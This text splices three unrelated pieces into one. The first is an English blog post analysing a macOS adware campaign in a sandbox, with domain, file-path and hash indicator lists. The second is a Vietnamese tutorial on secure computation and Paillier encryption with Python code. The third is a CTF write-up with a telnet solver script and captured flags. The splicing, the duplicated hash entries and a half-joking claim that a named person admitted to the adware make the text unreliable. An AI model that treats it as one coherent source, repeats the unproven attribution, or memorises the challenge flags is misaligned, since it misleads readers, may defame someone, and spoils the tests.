A new variant of adware was just discovered yesterday. It’s going viral on Twitter and other media, since they use valid Apple developer certificate to sign all packed samples. I’m quite overbusy these days but it got my interest when seeing the name stated in that certificate: “Quoc Thinh”, quite a unique Vietnamese name. So why not take a break from desperate thesis, toss adware in my lame automated MacOS analysis framework and see what our ‘countryman’ doing?

The sample was first noticed by Gavriel State‏ on Aug 7, then Thomas A Reed – the Mac malware boss hunter from Malwarebytes - confirmed it relates to OperatorMac on the next day. I think you all know the famous Mac free security tools’ author: Patrick Wardle, wrote an amazing report on objective-see.com in Aug 9. So I’m not going too deep in reverse engineering - static analysis, just throw in my Grey-cuckoo framework and grab results. In case somebody doesn’t know, it’s my thesis project and and soon to be released right after my judgment day - defense (hopefully).

From Patrick’s report we understand it’s an adware which installs lots of crabs. By default, cuckoo sandbox timeout is 120 sec. Let’s extend it a bit, 300 sec (5 min) would be enough.

First result we got, that Apple developer ID “Quoc Thinh”, and he got his certificate revoked from Apple today by the way .

spctl -avv "Mughthesec-Player(dmg).dmg"
Mughthesec-Player(dmg).dmg: CSSMERR_TP_CERT_REVOKED

From captured screenshots, we can see what this adware apparently executes: Install Adobe flash and offer you a bunch of PUA (potential unwanted applications) – Booking, Advanced Mac Cleaner, SafeFinder Safari extension, and AdBlock (in some relevant samples that will be discussed later).

Behavioral analysis shows the packed DMG sample invoked a ‘mac’ binary, thereafter ‘Mughthesec’ with a persistence ‘I’ binary. Screenshots below already included other analysis variant of this campaign.

Move on to the network DNS feature, we see a lot of queries and some domains look "suspicious". Their DNS servers mostly are pointed to Akamai so I suggest we rather use domain as IOC than IP address, which could be different from viewers location. Filtering system calls logs with some rules of mine, there is no evasion technique been found. It’s quite surprising because Virustotal behavioral analysis shows a shorter execution trace than mine, which usually means its environment was detected at some point and malware stop running. In Patrick’s report he said there might be MAC address verification to detect VM (VM MAC usually starts with ’00:xx’). Fortunately, my VM framework MAC address was modified long ago since my colleague Yorick Koster at Securify used same trick to abuse my lame framework (thanks Yorick). I should add new rule – “MAC address check” later.

Additionally instead of execve(), MacOS sandbox policy usually invokes processes using XPCProxy or launchd services. So we got several processes created with posix_spawn(): delete Safari, iBooks, Mail cache (likely Advanced Mac cleaner doing its job), install mentioned PUAs and we got some new IOCs.

Other great things from Cuckoo sandbox are Network analysis and Dropped files. However previous report detailed it well enough, hence only some screenshots from these features will be showed:

Some dropped binaries like AMCleaner (93dd0c34a4ec25a508cd6d5fb86d8ccc0c318238d9fee0c93342a20759bf9b7e) already marked as malicious on VirusTotal (VT) 7/56, which could be an indication for vigilant users.

Also with some fancy nonsense statistic screenshots, intent to scare analyst (:p)

At this moment, we have got all indicators to make behavioral detection rule and go hunting for other similar adware samples. Reason why I call this blog post – “a campaign”: there are numerous similar packed DMG/Mac apps matched ‘my behavioral rule’: fake Adobe Flash installer, lots of PUAs from subdomain name [cdn, dl, api] and Vietnamese developer certificate ID.

Please note that VT score is an indicator only, people usually fail to judge hardworking AVs by looking at VT score. We can never know if AV would detect those adwares live running whether or not. Also instead of Mughthesec, other adware use different loader names such as SearchWebSvc, TrustedSafeFinder, etc. I don’t think OSX/Mughthesec would be appropriate for the adware name. I suggest it would be OperatorMac because all campaign packages call a simple loader “mac” binary.

Conclusion

Be vigilant, no one needs Flash nowadays it’s dead. Apple Mac is not virus-free even with those fancy Apple protection XProtect, GateKeeper, Mac sandbox, code signing, etc, many security researchers already warned.

It’s likely an affiliation advertising campaign, in which adware authors spent quite some money (~$800) for these 8 Apple developer certificates and only 2 of them are revoked. Some of dropped MachO executables are not signed, and we don’t know what if those can be really dangerous (like the unsigned MachO executable from APT32 Ocean Lotus campaign targeted Vietnamese organizations lately is really a sophisticated one). Based on timeline and periods of certificate registration, and money they have spent, I doubt these adware creators are making lots of money. Last, let me remind you some incidents happened recently and could be related to this campaign:

• Malicious browser extension – fake IDM Downloader harvested around 5M cookies from popular websites, targeted Vietnamese netizens. 
• Fake App store AV app – making more than $80K per month. 

Phamus

P/S: I confronted one famous hacker in cyber pirate community – “Quoc Thinh” aka G4mm4, he seriously admitted he's behind the "crime". Not sure that’s true or he was just kidding

IOCs:

appfastplay.com

Created

Namecheap domain hosting @ USA.

mughthesec.com

198.54.117.210

SimplyEApps.com
198.54.117.210

(api./dl./cdn.)dynacubeapps.com

198.54.117.210

(api./dl./cdn.)cloudmacfront.com

(api./dl./cdn.)api.airautoupdates.com

(api./dl./cdn.)osxessentials.com

(api./dl./cdn.)api.vertizoom.com

(api./dl./cdn.)macgabspan.com

install.searchwebsvc.com

install.trustedsafefinder.com

searc.trustedsafefinder.com/h?_pg=XXXX-1234-67890

searc.trustedsafefinder.com/s?q=@@@&_pg=XXXX-1234-67890

~/Library/LaunchAgents/com.Mughthesec.plist

~/Library/Application Support/com.Mughthesec

~/Library/LaunchAgents/SearchWebSvc.plist

~/Library/Application Support/SearchWebSvc

~/Library/LaunchAgents/TrustedSafeFinder

~/Library/Application Support/com.TrustedSafeFinder.plist

~/Library/LaunchAgents/com.pcv.hlpramcn.plist  (Advanced Mac Cleaner)

phan anh 4f62cc7e6f923ffd3d01de7ed47c3a62593e8c245bfc6cb81783a70fb821ca3c

9e72aea77562c7d85950076f8acef12580050d2bfd199de9500cd9a3cf18e5ba

04343158bd4942f25f8ff4e39c5bc21fa08b2e98c9f4dd3391f017667a47e59e

b31baed2592708d5fb8227fc7d18faa339f813ff1db1aa32580f54d0601b08f0

5afe86f9ec0764f53721452199383a0732d262b679356f4e5c716ca5710502c8

4dcde58b6bd4b415eae924b62b1f0ce4e0b8d11a714fbcf99c4da553a66751d7

08f2dfa3d011aa90fa90f2a2fabeb9aff72ad0acde01378f8126a3ab6ce61b41

7ceb92839c025760203fac5d0ad4ff63df9c92d409831b3536c99f0c7f0874c6

e0606875fb61db097f618b5e2ea9c140e3e5dff733ec3a30719af8452ca06aab

4b665b885db33498129a86b354f09b4067e51b7add4595cb231d0d0b7f8a8678

22ca8d75544d061d3e8b986b0af3dc2a462d9acfa29a4be5a5589fa51282dedb

0650ce68e2d3b1e9e53a72115f5da42120d6eff83a07aa309b1f04f11f55c1de

4f62cc7e6f923ffd3d01de7ed47c3a62593e8c245bfc6cb81783a70fb821ca3c

9e72aea77562c7d85950076f8acef12580050d2bfd199de9500cd9a3cf18e5ba

cf63d5861eb654efcafef25d758ca5daf877e3c63888ee086bcd29f22e3f77ad

04343158bd4942f25f8ff4e39c5bc21fa08b2e98c9f4dd3391f017667a47e59e

b31baed2592708d5fb8227fc7d18faa339f813ff1db1aa32580f54d0601b08f0

5afe86f9ec0764f53721452199383a0732d262b679356f4e5c716ca5710502c8

4dcde58b6bd4b415eae924b62b1f0ce4e0b8d11a714fbcf99c4da553a66751d7

08f2dfa3d011aa90fa90f2a2fabeb9aff72ad0acde01378f8126a3ab6ce61b41

8690299992e9a1d8bf1b5184a3274619eb6c95c44a83b42f7ee455b419947d5d

7ceb92839c025760203fac5d0ad4ff63df9c92d409831b3536c99f0c7f0874c6

e0606875fb61db097f618b5e2ea9c140e3e5dff733ec3a30719af8452ca06aab

f47246e7b4ae43d6aa284145292d67247d428d52f327c00a7f7af2dd65fb1c0b

4b665b885db33498129a86b354f09b4067e51b7add4595cb231d0d0b7f8a8678

22ca8d75544d061d3e8b986b0af3dc2a462d9acfa29a4be5a5589fa51282dedb

0650ce68e2d3b1e9e53a72115f5da42120d6eff83a07aa309b1f04f11f55c1de

52ac6206d109acb15547e8f655d1e522d28bbb39c9e40784126de5f27778f51c

cd9c564799f88ad6efae4bd5acb047d5f0d5b39378965386925c171eec3977b5

15d796bd76339a0fbb430bc8c6cc9bcbd6a21f3aef619d0cb81fe0069552a29d

99c598ef5fe10347803296d20a37fb6c33d793f35443725dbcfc41382dbd9391

34886986af88810585238c2ecf44924e48a08f775b25794e553689f0f2585899

12effeff2bc280d144bd1432f9bbfae2efaae483731d20b6f0b061e8be505a0c

3460877be00af3632895539567b57647ca1e07363213b4f93d52ac80b17454ee

79b54c71b74112881a8c4b88ad36a9bae4c2eecedcba510e2b4f52c215a9ebac

quoc thinh
9c4f74feff131fa93dd04175795f334649ee91ad7fce11dc661231254e1ebd84

f5d76324cb8fcae7f00b6825e4c110ddfd6b32db452f1eca0f4cff958316869c

63b9e81a0c3a57bcbaf2aac308ecc53035f7fff6a416a6752acf13f16352a94a

431c30c1db1aefb87d5fa5485c0fd11e792ec94bb95fb401cc93ef0528ad41cb

687def9ff3cd0fa8dab1a7d4da5fa04b0604292fa74a66f23a96fb1eb31cd2c2

pham huong

af1e6391dd48f84beac69fbd69dbbb20eefd7ca69d33c686ed4d5a85ba760254

7ce4d0ec31dc334388d2461b65617ba5dbdebf935da2ed2a7d65d8a9cc14148c

f995bd07e5f782cf823b45d226c63407695d4a1bfb06358f49621291f1629f60

a2bd399d8087752776762fa9a805429de6973994f26e17bdac9ca4130dcb87fb

bafe800c397e69e9e6859311c437e5c4b6cdd200f3ed832306e6c9f331eb6bae

nhien nguyen

3028aa7ece2f140f6fa28d348bf18156e6e4da4cb2f9208925d15ca7b564f35f

fc89afe4f72c3e02dca3e998351e59684f5ad6a9000c9f2eaee3b7195d4f0fda

minh duc

17f39a0268ec97cf5528bcc9d871c7f7b428379a2549c3b01581440acd7ed8a5

79e821bab2adbdb9a53e471b7a1937c8f0a1ba1ce0801b8d2eca49a7c9391e42

dfc0b3618a3eb246ae6026c460596a102f45ff71660f7fdec39c5f105a3190cd

90d825d481297def07771865a5e719c4e55ed1109008721744608bf94841d7cc

tran phong

8c1b1b2b997a11d8b408091e12d02960bf71bb83304a3b23c439056c4e9882ad

9acb781d19d6ed4c6ac6e10448d113fca868bba21f95496f535013005fe2d29e

f159c3dc2aa704d42a07f145985fa7b339cbd4bcdf7ff9783220b9dd3a9e097e

a1dc898586e1697bd19d6c6ec8421e1871ac918132bcbcf89db9b523e199664d

e537d868f9ab708e3c5a8427dd4036798570b7d6b55b3ef0e1be9775e64e9c9d

f7468d3af9267e9a6325fb981a5bd734dafeea32265d0318cb4793bd1b52f112

mai linh

c7c11ae9fdaeef0c359621de06d4de5264cc3d62929d5e8a1e2c3d2c08290e2f

202d7e5bd230c59051d5c21124e9af613f70576f3511a0a79c567f48844e5b45

thanh thuy

6494a2bd4e9da2f3000b0774a13682a3f9fcd17e7da8d0fd42bfa88d1dce14f5

aa556a1b27356c35be3890f7c6f022c431d48ff7b5c15b2a0586609b15e5d5f6

f86b4d24627d5dc9d806a3f89c03aea19aaa987bcedb44fc5635140bf9191d03

387dddd9bb34fb1fa697f4f5c208ad425e14f6a37e943a3ddf73cca12356054b

086ad9c053fc3a670db2954b120733ba97109e1eb845ca383e88d2623289ae66

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

22179b6701cf203abfa94eee9152495d409bcb9f5293fb5aa87fe342f7285a18

a60503e089b805ca7b99186c1b4014bbca98655eadd615f911a7379708b0405a

b3be9a9b5b6cd97815a1a2a5c14713b761b664e195a6e1384219a701ccc12036

22179b6701cf203abfa94eee9152495d409bcb9f5293fb5aa87fe342f7285a18

a60503e089b805ca7b99186c1b4014bbca98655eadd615f911a7379708b0405a

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

22179b6701cf203abfa94eee9152495d409bcb9f5293fb5aa87fe342f7285a18

387dddd9bb34fb1fa697f4f5c208ad425e14f6a37e943a3ddf73cca12356054b

5b4703281a185e81113b303277e546c5f87ae599fba4565932a2638b3d40b41f

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

5b4703281a185e81113b303277e546c5f87ae599fba4565932a2638b3d40b41f

5b4703281a185e81113b303277e546c5f87ae599fba4565932a2638b3d40b41f

b3be9a9b5b6cd97815a1a2a5c14713b761b664e195a6e1384219a701ccc12036

aa556a1b27356c35be3890f7c6f022c431d48ff7b5c15b2a0586609b15e5d5f6

a60503e089b805ca7b99186c1b4014bbca98655eadd615f911a7379708b0405a

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

1. MPC

Tổng quát hóa bài toán của Yao đó là: giả sử có n thành viên  bảo mật cho n giá trị tương ứng , và tất cả các thành viên thực hiện phép tính  sao cho các giá trị  được bảo mật hoàn toàn. Trong định nghĩa này, bài toán của Yao là trường hợp nhỏ với và phép tính 

Ví dụ thứ hai đó là trò chơi tình yêu, như các bạn đọc biết yeuchimse là một thanh niên ủy mị ướt át, sến rện hay nghĩ lung tung. Sẻ đệ lần đầu tiên không dám tỏ tình vì sợ người ấy không thích mình thì thật là quê độ nên đã yêu cầu chuymichxinhdep thiết kế một giao thức sao cho:

• Eligibility: được thổ lộ và chỉ thổ lộ môt lần.
• Privacy: đảm bảo không lộ thông tin đã thổ lộ cho bất kỳ ai biết, cho dù đó là người ấy hay chính chuymichxinhdep 
• Universal Verifiability: ai cũng có thể check được kết quả là 2 đứa nó có đến được với nhau hay không để đảm bảo tính công bằng của cuộc chơi tình ái.
• Robustness: Mọi hành động gian trá ví dụ như thổ lộ có yêu sau đó lại thay đổi ý kiến là không yêu đều bị cấm.

4 tiền đề trên các bạn đọc nào thông minh có thể áp dụng vào bầu cử điện tử, tuy nhiên giao thức chuymichxinhdep thiết kế dưới đây sau này được biết đến rộng rãi dưới cái tên  Five-Card Trick (Bert den Boer, Eurocrypt 1989) như sau:

Với 5 lá bài Át, mặc định một chiếc lá Át cơ đỏ đặt sẵn trên bàn. Với các câu trả lời giữa 2 người tham gia trò chơi là Yêu hoặc không Yêu tương ứng với 2 cách xếp bài Át cơ, Át bích. Sau khi đặt bài xuống bàn (có thể thay đổi chiều hàng 5 bài để không ai biết câu trả lời của mình ở bên nào) thì kết quả cả 2 người đều có cảm tình với nhau chỉ xảy ra khi có 3 quân Át cơ nằm cạnh nhau. Trường hợp kết quả 2 người không hợp nhau thì vẫn đảm bảo cô gái không biết được đối phương trả lời là Yêu hay không Yêu. (Thật là vi diệu phải không? )

Để giải thích cách giải này, thực chất đó chính là bảng AND toán tử ở bảng này:

Kết quả xy=1 thì rõ khi và chỉ khi x=1 và y=1. Còn với xy=0 thì ta chỉ kết luận có 1 trong x hoặc y trả lời 0 mà không thể khẳng định rõ ai trả lời 0 hay 1. Kết quả lần thực nghiệm protocol đó như các bạn đã biết, cuộc sống rất ồn ào, có những kẻ thất tình không biết trốn vào đâu để ngồi một mình và tìm sự tĩnh lặng cho riêng mình nên đành chơi CTF. “Em chưa lấy chồng là lỗi của anh!”. Với love game thì đen bạc còn đỏ tình nhưng yeuchimse đen thôi, đỏ vẫn vậy. 

2. OT

Để hóc búa hơn, người ta đã phát minh ra giao thức rất hay ho đó là Chuyển giao không lộ thông tin ( Oblivious Transfer ) đơn giản thế này:  Anh Mao giữ 2 giá trị  là bít tức là chỉ có 0 hoặc 1, chị MaiAnh giữ một giá trị secret s, tất nhiên, cũng chỉ là bít 01. Chị chọn một số u ngẫu nhiên khá to trong tập nguyên Z và chị tính với . Do s là bit nên lúc này chị có 2 giá trị , chị gửi cả 2 giá trị này lại cho Mao với mục đích làm Mao không biết giá trị u, s là gì, kể cả giá trị ở đây là generator chung mà cả 2 đều biết, thì theo bạn ElGamal đối với máy tính cổ lỗ của Mao là con MBP 15 inch đời giữa 2015, tới lúc bốc mộ cũng không giải ra được u (à mà với điều kiện là chị MaiAnh có u rất to nhé). Sau bước này thì Mao chọn 2 giá trị cũng ngẫu nhiên trong tập nguyên để tính một phương trình phức tạp hơn đó là:

Rồi Mao chuyển lại cặp để cho MaiAnh tính ra . Như vậy, Mao không để lộ cả 2 giá trị , trong khi MaiAnh không để lộ mà vẫn lấy được về. Mao cũng không biết được MaiAnh đã lấy số nào về mà chỉ biết MaiAnh đã lấy được 1 số. Tóm tắt lại trong hình như sau:

Câu hỏi đặt ra OT sẽ được áp dụng như thế nào, ví dụ anh Mích đang làm hệ thống e-Health sức khỏe y tế điện tử. Vì anh là bên thứ 3 làm tin học nên tất nhiên anh không được ông quan thanh liêm nào cho tiếp cận vào hồ sơ y tế của bệnh nhân. Do đó anh quyết định ký hợp đồng với bệnh viện sử dụng OT để làm API truy cập thông tin. Lúc này anh làm demo nên cơ sở dữ liệu mới có thông tin HIV của 2 bệnh nhân lưu dưới dạng dương tính (1) và âm tính (0). Áp dụng OTP anh Mích đã có thể biết trạng thái HIV của 1 trong 2 bệnh nhân mà bệnh viên không biết anh đã query bệnh nhân nào.

3.ZKP

Bệnh cạnh việc dùng OT để chia sẻ không lộ thông tin, người ta còn nghĩ ra nhiều trò phức tạp khác dưới cái tên ZKP (Zero Knowledge Proof) điển hình là bài toán lên bar của chụy Mích được trình bày như sau: Trong một lần trên bar hơi muộn vào khoảng 2 giờ sáng thì các anh pokemon ập vào đòi kiểm tra hành chính với lý do trên 18 tuổi mới được ngồi bar hút thuốc bú diệu như một số hoa hậu nào đó. Vốn là một người tôn trọng quyền con người chụy không muốn ai phán xét vì hút thuốc lá là quyền tự do của mỗi người. Chụy chân thành chúc mừng bạn chụy nếu em bỏ được thuốc, còn không em cũng đừng buồn vì sau một thời gian nghỉ, điếu thuốc sắp tới em hút đảm bảo nó sẽ ngon không bút nào tả xiết. Ngoài ra lại vốn là một người tôn trọng quyền con người chụy cũng không muốn để lộ liễu ngày sinh nhật của mình giữa chốn đông người. Thay vì trình ID CMND hay bằng lái chụy đã show thẻ ngân hàng của mình để quẹt bill cho các anh xem. Với luật trên 18 tuổi mới được làm credit card nên mặc nhiên chụy đã chứng minh mình đã trên 18 tuổi mà không để lộ ngày sinh của mình .

Một ví dụ ZKP thứ 2 đó là ví dụ hang động của AliBaBa:

Nhi tuyên bố rằng cô biết mật mã để mở cửa hang. Líp hỏi cô phải chứng minh tuyên bố của mình. Nhưng Nhi không thể nói mật khẩu cho Líp vì như vậy thật là lộ liễu . Do đó chụy Mích đã chỉ cho Nhi một cách như sau:

• Líp đứng quay mặt tụt quần ở một khoảng cách khá xa và chờ Nhi bước vào hang.
  Sau đó, Líp đến cửa hang rõ ràng anh ta không biết Nhi đã đi sang bên nào.
• Líp tùy ý hét lên yêu cầu Nhi bước ra từ bên trái hoặc bên phải.
• Hai đứa lặp lại trò chơi này cho đến khi Líp bị thuyết phục hoặc Nhi chán không chơi nữa.

Rõ ràng nếu Nhi đã ở phía bên trái và Líp yêu cầu cô ấy đến từ bên trái thì quả này Nhi đã may mắn . Nếu không, Nhi chỉ có thể đến từ bên trái nếu cô ấy biết mật mã để mở cửa hang phải không nào (!?).

4.Hệ mật đồng cấu( Homomorphic cryptosystem)

Để tiếp tục là cuộc chơi thêm phần phức tạp, các nhà mật mã học lại tiếp tục nghĩ ra Hệ mật đồng cấu được định nghĩa:

Hệ mã hoá Elgamal có tính chất đồng cấu, nhờ nó có thể tính được kết quả trong cuộc bỏ phiếu “chọn một trong hai”, mà không cần giải mã từng lá phiếu. Sơ đồ chia sẻ bí mật Shamir phối hợp với hệ mã hoá Elgamal còn có tính chất đặc biệt hơn nữa, nhờ nó có thể chia lá phiếu thành nhiều mảnh, cử tri gửi mỗi mảnh cho một thành viên ban kiểm phiếu, khi khớp các mảnh phiếu lại sẽ được nội dung đầy đủ của lá phiếu. Bài báo này trình bày các tính chất trên và chỉ ra ứng dụng của chúng trong bỏ phiếu từ xa.Hệ mã hoá Elgamal có tính chất đồng cấu, nhờ nó có thể tính được kết quả trong cuộc bỏ phiếu “chọn một trong hai”, mà không cần giải mã từng lá phiếu. Sơ đồ chia sẻ bí mật Shamir phối hợp với hệ mã hoá Elgamal còn có tính chất đặc biệt hơn nữa, nhờ nó có thể chia lá phiếu thành nhiều mảnh, cử tri gửi mỗi mảnh cho một thành viên ban kiểm phiếu, khi khớp các mảnh phiếu lại sẽ được nội dung đầy đủ của lá phiếu. (ref2 Trịnh Nhật Tiến, Đặng Thu Hiền, Trương Thị Thu Hiền, Lương Việt Nguyên)

Để rõ thêm về vấn đề này, bạn đọc có thể xem lại bài Introduction to Threshold signature scheme. Lưu ý Elgamal có tính chất đồng cấu còn RSA thì không nhé . Ở khuôn khổ bài viết này chỉ trình bày thêm về hệ mã Paillier công bố năm 1999 như sau:

Giả sử n = pq và g là một phần tử đặc biết của nhóm cyclic Z dựa theo lũy thừa n sao cho . Khóa bí mật , khóa công khai (g, n). Với plaintext là thông điệp và một số r nguyên dương ngẫu nhiên thì hàm mã hóa được định nghĩa:

Lưu ý lcm = least common multiple ước chung nhỏ nhất. Và người ta thường chọn g=n+1 để thỏa mãn tính chất generator như sau:

Còn quá trình giải mã thì phức tạp hơn chút, đó là:

Vậy tại sao có RSA phổ cập nông thôn đã chất chơi người dơi rồi, các nhà mật mã học lại phải nghĩ ra hệ mật oái ăm này . Ấy là vì ở đây ta có random r, mỗi lần mã hóa lại có ciphertext khác nhau. Ngoài ra với mỗi ciphertext nếu không biết random r thì lại ra vô số message m thỏa khác nhau. Ngoài ra với tính chất đồng cấu giúp cho phép cộng (+) và lũy thừa (^) ta có thể thiết kế các giao thức mã hóa gửi đi ciphertext để một bên thứ ba tính toán, bên tính toán này chỉ trả về kết quả phép tính mà không biết giá trị mà bên cần tính đưa ra là gì 

Ví dụ giao thức đơn giản Alice có publickey (để mã hóa) và 2 số tiền của 2 orders mà Bob đặt hàng đã được mã hóa [a], [b]. Alice không thể giải mã để biết a, b nhưng lại muốn tính tổng tiền [a+b]. Bob ở đây có secretkey có khả năng giải mã để tính phép cộng cho Alice nhưng hệ thông không muốn Bob biết Alice đang muốn tính gì.

Alice bằng việc sử dụng random khiến cho Bob không biết đường nào mà lần, dù anh có giải mã ra a mũ và b ngã thì vẫn không đoán được a,b là gì. Tuy nhiên cũng xin lưu ý ở đây rằng, để đảm bảo giao thức hoạt động ngon thì random cần có một độ dài k bits cần thiết nhé. Lúc implement bị hack thì đừng đổ cho chụy không nói trước .

5. Ví dụ ứng dụng

Phần này với bạn đọc nào hiểu rõ học thuật rồi có thể skip sang luôn phần like subcribe comment và share trên phây búc. Dưới đây chỉ là bài toán ví dụ đơn giản trẻ con sử dụng Pailler để bảo vệ các thông tin như: tuổi, thu nhập bằng Python.

Đầu tiên, giả sử tôi có một hệ cơ sở dữ liệu cần mã hóa Paillier với 3 cột: Tên, tuổi, thu nhập. Tôi xin ăn cắp thư viện Pure Python Paillier Homomorphic Cryptosystem (3) để mã hóa dưới đây:

from paillier.paillier import *
from timer import Timer
import random,string

def encrypt_db():
	print "Encrypting...."
	for p in session.query(Person):
		p.age = str(encrypt(pub, int(p.age)))
		p.income = str(encrypt(pub, int(p.income)))
		p.name = str(int(p.name.encode("hex"),16))
	session.commit()

def decrypt_db():
	print "Decrypting...."
	for p in session.query(Person):
		print decrypt(priv, pub, int(p.age)) ,decrypt(priv, pub, int(p.income)) , hex(decrypt(priv, pub, int(p.name ))).replace("0x","").replace("L","")

print "Generating keypair..."
priv, pub =  generate_keypair(2048)

Với quyền query lên database toàn bộ bị mã hóa, tôi có 2 bài toán cần giải quyết đó là:

• Nhập lên một số x, yêu cầu trả lời câu hỏi có bao nhiêu người có độ tuổi lớn hơn x mà không làm lộ số x đang được hỏi.
• Tính tổng thu nhập của tất cả những người có độ tuổi lớn hơn x mà không làm lộ thông tin thu nhập của từng người.

Đề giải quyết 2 bài toán trên, tôi tham khảo giao thức tính toán không làm lộ dữ liệu được cải tiến của Zerkin (4) bạn tôi như sau:

Hàm gửi lên để lấy kết quả ta chỉ cần quan tâm tới hàm A(pub, enc_a, enc_b). Ở đây được code như sau (code bừa hơi dài đề nghị không gạch đá ):

from paillier.paillier import *
import random,string

l=17
def A(pub, enc_a, enc_b):
	enc_z = e_add(pub, e_add(pub, enc_a, encrypt(pub, 2**l)), invmod(enc_b,pub.n_sq))
	r = random.randrange(2**(80+l+1))

	r_bin = bin(r).replace("0b","").replace("L","")
	r_bin = "0"* (l-len(r_bin))+r_bin
	r_bin = r_bin[::-1]
	enc_r = encrypt(pub, r)
	enc_d = e_add(pub, enc_z , enc_r)
	enc_d1, enc_d2 , enc_t = B1(enc_d)
	s = [-1,1][random.randint(0,1)]

	h = [0]*l
	v = [0]*l
	enc_c = [0]*l
	enc_e = [0]*l
	for i in range(l):
		while True:
			h[i] = random.getrandbits(long(round(math.log(pub.n, 2))))
			if h[i] > 0 and h[i] < pub.n and gcd(h[i], pub.n) == 1:
				break

	for i in range(l):
		v[i] = s - int(r_bin[i])
		for j in range(i+1,l):
			v[i] -= (2**j) * int(r_bin[j])
		if v[i] < 0: 
			v[i] = pub.n + v[i]
		enc_c[i] = e_add(pub, encrypt(pub, v[i]), enc_t[i])
		enc_e[i] = pow (enc_c[i], h[i],pub.n_sq)

	enc_lamda = B2(enc_e)
	if s != 1:
		enc_lamda = e_add(pub, encrypt(pub,1), invmod(enc_lamda,pub.n_sq))
	enc_zl = e_add(pub, e_add(pub, enc_d2, invmod(encrypt(pub,(r / 2**l)),pub.n_sq)), invmod(enc_lamda,pub.n_sq))
	return B3(enc_zl)

def B1(enc_d):
	d= decrypt(priv, pub, enc_d)
	d1 = d%(2**l)
	d2 = d/(2**l)
	d_bin = bin(d1).replace("0b","").replace("L","")
	d_bin = "0"* (l-len(d_bin))+d_bin
	d_bin = d_bin[::-1]
	t = [int(0)]*l
	for i in range(l):
		t[i] = int(d_bin[i])
		for j in range(i+1,l):
			t[i] += (2**j) * int(d_bin[j])
		t[i] = encrypt(pub, t[i])
	return encrypt(pub,d1) , encrypt(pub,d2),t
def B2(enc_e):
	e = [int(0)]*l
	for i in range(l):
		e[i] = decrypt(priv, pub, enc_e[i])
		if e[i] ==0: return encrypt(pub,1)
	return encrypt(pub,0)


def B3(enc_zl):
	return decrypt(priv,pub, enc_zl)

Vậy với bài toán 1, để biết bao người có số tuổi từ x đổ lên ta chỉ cần query bằng hàm A():

index = [-1]*len(income)	
for i in range(len(age)):
	enc_x = encrypt(pub, x)
	if int(A(pub, age[i],  enc_x))>0:
		index[number] = i
		number+=1

Với bài toán 2, để thêm phần bảo mật ta nhét thêm một số random r thật dài vào mỗi lần query như sau:

	r = random.randrange(2**(80+32))
	for i in index:
		if i>-1:
			totalincome = e_add(pub, totalincome, income[i])
	totalincome = e_add(pub, totalincome, encrypt(pub,r))
	totalincome = decrypt(priv,pub,totalincome) - r

Thật là đơn giản phải không , nếu bạn vẫn chưa hiểu, xin đừng liên hệ tôi vì tôi sẽ không giải thích đâu. Xin mời bạn đọc phần appendix nhé.

1. "Protocols for secure computations". FOCS. 23rd Annual Symposium on Foundations of Computer Science (FOCS 1982): 160–164.doi:10.1109/SFCS.1982.88
2. Mã hoá đồng cấu và ứng dụng http://tapchi.vnu.edu.vn/tckh/news/?1887/635/Ma-hoa-dong-cau-va-ung-dung.htm
3. https://github.com/mikeivanov/paillier
4. Z. Erkin, M. Franz, J. Guajardo, S. Katzenbeisser, R. L. Lagendijk and T. Toft, Privacy- Preserving Face Recognition, 9th International Symposium on Privacy Enhancing Technologies, LNCS 5672, pp. 235-253, August 2009.

Appendix:

Ứng dụng hệ mã hóa đồng cấu trong nhận dạng hình ảnh tội phạm (vẫn đảm bảo quyền bảo vệ hệ thống hình ảnh tội phạm, cũng như không làm lộ khuôn mặt người cần kiểm tra):

Tính toán không lộ thông tin (ghi chú phần 4)

Đề bài nhận được là cho 1 tập hợp điểm trên mặt phẳng 2D, cần tìm diện tích đa giác lớn nhất tạo được mà các đỉnh của đa giác được lấy từ tập hợp điểm đã cho. Dễ thấy là đa giác cần tìm cần bao trọn toàn bộ tập điểm, nên bài toán quy về việc tính diện tích bao lồi của tập điểm này.

Có thể dùng thuật toán quét Graham để tìm bao lồi sau đó dùng công thức tính diện tích của Gauss để tính diện tích đa giác vừa tìm được. Nhưng trong SciPy đã có code tìm bao lồi nên mình không cần phải code lại phần bao lồi nữa :))

Code của mình (mình k biết chèn gist vào đây như thế nào :<):

from scipy.spatial import ConvexHull
import numpy as np
import ast
import telnetlib
import re
 
class Telnet(telnetlib.Telnet):
    # inherit from Telnetlib and add new method
    def __init__(self,host,port):
        telnetlib.Telnet.__init__(self,host,port)
    # make easier when you want to send raw data to server
    def writeRawData(self,data):
        return self.get_socket().send(data)
 
    def recvRawData(self,size):
        return self.get_socket().recv(size)
 
# Calculate algebraic area of a polygon using shoelace formula
def area(vertices):
    n = len(vertices)
    area = 0.0
    for i in range(n):
        j = (i + 1) % n
        area += vertices[i][0] * vertices[j][1]
        area -= vertices[j][0] * vertices[i][1]
    area /= 2.0
    return area
 
host = '217.218.48.84'
port = 12432
 
# connect
tel = Telnet(host, port)
s = tel.read_until('Are you ready for this challenge?\n')
print s,
# reply
print 'yes'
tel.writeRawData('yes\n')
s = tel.read_until('OK, OK, lets start\n')
print s,
# solve
for i in range(99):
    print '[*] %d-th round' % i
    s = tel.read_until("What's the area?")
    print s,
    l = np.array(ast.literal_eval(re.findall(r'\n(
)\n', s)[0]))
    hull = ConvexHull(l)
    vertices = l[hull.vertices]
    res = abs(area(vertices))
    print res
    tel.writeRawData(str(res)+'\n')
# get flag
tel.interact()

Flag là

ASIS{f3a8369f4194c5e44c03e5fcefb8ddf6}

Forensics 75 - Keka Bomb

File đã cho là một file 7z và bên trong nó gồm nhiều file 7z con với dung lượng mỗi file khoảng 4GB : 0009.7z -> 0000007.7z -> 0000000008.7z -> bomb_8, mở file này bằng HxD, tìm chuỗi "ASIS" sẽ thấy flag:

ASIS{f974da3203d155826974f4a66735a20b}

Forensics 250 - Dump
File trong đề là 1 file .sav của VirtualBox nhận được khi tạo snapshot hoặc suspend máy ảo. File chỉ chứa một phần RAM đã được sử dụng và được sắp xếp theo một trật tự không nhất định nên (theo quá trình Google của mình) không thể lấy trực tiếp thông tin trên đây được :<, mà cần phải chạy file .sav trên VirtualBox rồi tạo core dump hoặc memdump sau đấy mới phân tích được.
